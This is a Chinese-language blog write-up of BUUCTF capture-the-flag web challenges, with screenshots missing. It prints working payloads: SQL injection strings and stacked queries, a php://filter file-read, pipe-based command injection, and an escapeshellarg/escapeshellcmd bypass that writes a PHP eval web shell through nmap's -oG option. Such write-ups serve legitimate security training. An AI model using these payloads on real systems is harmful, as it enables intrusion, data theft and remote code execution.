第七周buuctf

[极客大挑战 2019]EasySQL

题目类型:简单的SQL注入
直接使用万能密码

用户名:
admin
密码:
1'or'1'='1

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-LDFLkYHY-1666343394635)(C:\Users\lenovo\AppData\Roaming\Typora\typora-user-images\image-20221021170427836.png)]

[极客大挑战 2019]Havefun

题目类型:代码审计

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-hGj3nGoP-1666343394636)(C:\Users\lenovo\AppData\Roaming\Typora\typora-user-images\image-20221021170820095.png)]

</div>
                <!--
        $cat=$_GET['cat'];
        echo $cat;
        if($cat=='dog'){
            echo 'Syc{cat_cat_cat_cat}';
        }
        -->
      <div style="position: absolute;bottom: 0;width: 99%;"><p align="center" style="font:italic 15px Georgia,serif;color:black;"> Syclover @ cl4y</p></div>
      </body>
</html>

有一个cat变量,通过get方式传参,如果cat=dog输出flag
使用构造payload:/?cat=dog
在这里插入图片描述

[强网杯 2019]随便注

题目类型:SQL注入
在这里插入图片描述
查询2时:
在这里插入图片描述

查询3时报错,则说明有两个字段
尝试用联合查询
结果报错return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
发现过滤了select|update|delete|drop|insert|where|./i
爆数据库:1';show databases;#
在这里插入图片描述
爆表名:`1’; show tables;#
在这里插入图片描述
爆表

1'; show columns from words;#

在这里插入图片描述
列名:

1'; show columns from '1919810931114514';#

表名为数字时,要用反引号包起来查询。
在这里插入图片描述发现1919810931114514表中有flag

[ACTF2020 新生赛]Include

题目类型:文件包含、PHP封装协议

点击链接:
在这里插入图片描述
猜测时文件包含

PHP封装协议:
php://filter/read=convert.base64-encode/resource=xxx.php
php://filter 是php中独有的一个协议,可以作为一个中间流来处理其他流,可以进行任意文件的读取;根据名字filter,可以很容易想到这个协议可以用来过滤一些东西; 使用不同的参数可以达到不同的目的和效果:
resource=<要过滤的数据流> 指定了你要筛选过滤的数据流。 必选
read=<读链的筛选列表>可以设定一个或多个过滤器名称,以管道符(|)分隔。 可选
write=<写链的筛选列表> 可以设定一个或多个过滤器名称,以管道符(|)分隔。 可选
<;两个链的筛选列表> 任何没有以 read= 或write=作前缀 的筛选器列表会视情况应用于读或写链。
php://filter与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,阻止其不执行。从而导致任意文件读取。
read=convert.base64-encode,用base64编码输出,不然会直接当做php代码执行,看不到源代码内容。

php://filter协议,用base64编码的方式来读文件flag.php;这时页面会显示出源文件flag.php经过base64编码后的内容,然后经过base64解码就可以看到flag;

payload: /?file=php://filter/read=convert.base64-encode/resource=flag.php

得到base64编码后的内容为:

PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7Y2U4MzdmMmYtYjI2Mi00ZDYxLWEzOWQtOTE4OWIwYmM0ODZkfQo=

[HCTF 2018]WarmUp

题目类型:PHP代码审计
查看源码,发现有一个source.php文件

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Document</title>
</head>
<body>
    <!--source.php-->
    
    <br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" /></body>
</html>

查看此文件,出现一堆PHP代码
在这里插入图片描述
发现里面有一个hint.php文件,查看
在这里插入图片描述
在这里插入图片描述
说明flag在ffffllllaaaagggg里
在这里插入图片描述

[ACTF2020 新生赛]Exec

在这里插入图片描述
查看文件的目录:`127.0.0.1|ls
在这里插入图片描述
查看上级目录127.0.0.1|ls /

在这里插入图片描述
找出flag:
在这里插入图片描述

[BUUCTF 2018]Online Tool

题目类型:rce + escapeshellarg与escapeshellcmd共用漏洞

在这里插入图片描述

escapeshellarg()和escapeshellcmd()函数:
[https://paper.seebug.org/164/]

eg:

<?php
	$dir="a'";
	$a=escapeshellarg($dir);
	$b=escapeshellcmd($a);
	$c=escapeshellcmd($dir);
	print $a;
	echo "\n";
	print $b;
	echo "\n";
	print $c;
?>

执行结果为:
'a'\'''
'a'\\''\'
a\'

单独使用escapeshellarg 和escapeshellcmd 中任意一个都不会出现问题,或者先使用escapeshellcmd再使用escapeshellarg 也不会出现问题,唯有题目中先escapeshellarg 在escapeshellcmd 会有漏洞

<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {    //获取IP
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);  //对文件语法进行高亮显示
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);   //把字符串转码成可以在shell命令里使用的参数,将单引号进行转义,转义之后,再在左右加单引号
    $host = escapeshellcmd($host);   //对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义,将&#;`|*?~<>^()[]{}$\, \x0A和\xFF以及不配对的单/双引号转义
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);   //新建目录,默认权限,最大可能的访问权
    chdir($sandbox);    //改变目录路径,成功返回true,失败返回false
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
    // -sT,在目标主机的日志上记录大批连接请求和错误的信息
    // -Pn,扫描之前不需要用ping命令,有些防火墙禁止使用ping命令
    // -T5,时间优化参数,-T0~5,-T0扫描端口的周期大约为5分钟,-T5大约为5秒钟
    // --host-time限制扫描时间
    // -F,快速扫描

system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);

所以我们现在需要构造变量host的值,使远程命令/代码能够执行

这里又需要了解一些nmap的知识点:在nmap命令中 有一个参数-oG可以实现将命令和结果写到文件。可以上传一句话木马,再用蚁剑链接,就可以顺利拿到flag了

构造

payload:?host=' <?php @eval($_POST["hack"]);?> -oG hack.php '

在这里插入图片描述
这里返回文件名,继续用蚁剑链接

在这里插入图片描述
在这里插入图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值